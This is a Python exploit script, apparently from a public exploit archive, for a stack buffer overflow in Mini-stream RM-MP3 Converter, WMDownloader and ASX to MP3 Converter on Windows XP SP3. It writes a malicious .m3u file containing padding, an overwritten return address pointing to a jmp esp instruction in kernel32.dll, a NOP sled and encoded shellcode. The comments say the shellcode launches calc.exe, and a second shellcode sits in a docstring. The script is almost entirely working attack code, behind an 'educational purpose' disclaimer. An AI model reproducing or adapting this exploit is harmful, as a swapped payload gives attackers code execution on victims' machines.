####################################################################################
# Exploit Title: Mini-stream RM-MP3 Converter/WMDownloader/ASX to MP3 Converter Stack Buffer Overflow Exploit
#
# Tested on Windows XP SP3 Pro
# Found By : Cyber-Zone (ABDELKHALEK)
# http://www.securityfocus.com/bid/34494
# The way exploit written is slightly different than above Vulnerability
# Refer: http://downloads.securityfocus.com/vulnerabilities/exploits/34494-2.pl
# Download product : http://www.rm-to-mp3.net/downloads/WMDownloader.exe
#         http://www.rm-to-mp3.net/downloads/Mini-streamRM-MP3Converter.exe
#         http://www.rm-to-mp3.net/downloads/ASXtoMP3Converter.exe
# THIS EXPLOIT WORKS FOR ALL THE 3 INSTALLERS ABOVE
# corelanc0d3r: Greetz from INDIA
# My First BoF Exploit
# Author: Praveen Darshanam
# Contact: praveen_recker@sify.com
# Blog: http://darshanams.blogspot.com
#
#This was strictly written for educational purpose. Use it at your own risk.
#Author will not bare responsibility for any damages watsoever.
#
# Vinod, wish u happy journey :) ..... enjoy maadi !!!
####################################################################################

handler = "ftp://"
buff1 = "D" * 17418
#eip = "\x7D\xA5\x04\x10"
#0x1004A57D  jmp esp   C:\Program Files\Mini-stream\WMDownloader\WDfilter01.dll
#ABOVE ADDRESSES DIDN'T WORK FOR ME
eip = "\x7b\x46\x86\x7c"     # 0x7C86467B      jmp esp   kernel32.dll

# both SHELLCODES pops calc.exe
code2exec = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")
"""
code2exec = ("\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66\xf3\x07")
"""
noop = "\x90" * 10
# 4 bytes is enough to make ESP point to SHELLCODE
print "code2exec offset is:",(40000 - len(handler) - len(buff1) - len(eip) - len(noop) - len(code2exec))

buff2 = "Z" * (40000 - len(handler) - len(buff1) - len(eip) - len(noop) - len(code2exec))
mal_buff = handler + buff1 + eip + noop + code2exec + buff2
try:
	wmdownloader = open ("wmdownloader_codeexec.m3u","w")
	wmdownloader.write (mal_buff)
	wmdownloader.close()
	print "\n\n[+] Coded by Praveen Darshanam"
	print "[+] Malicious M3U File Successfully created\n\n"
except:
	print "\n[+] Unable to create file . . .\n"
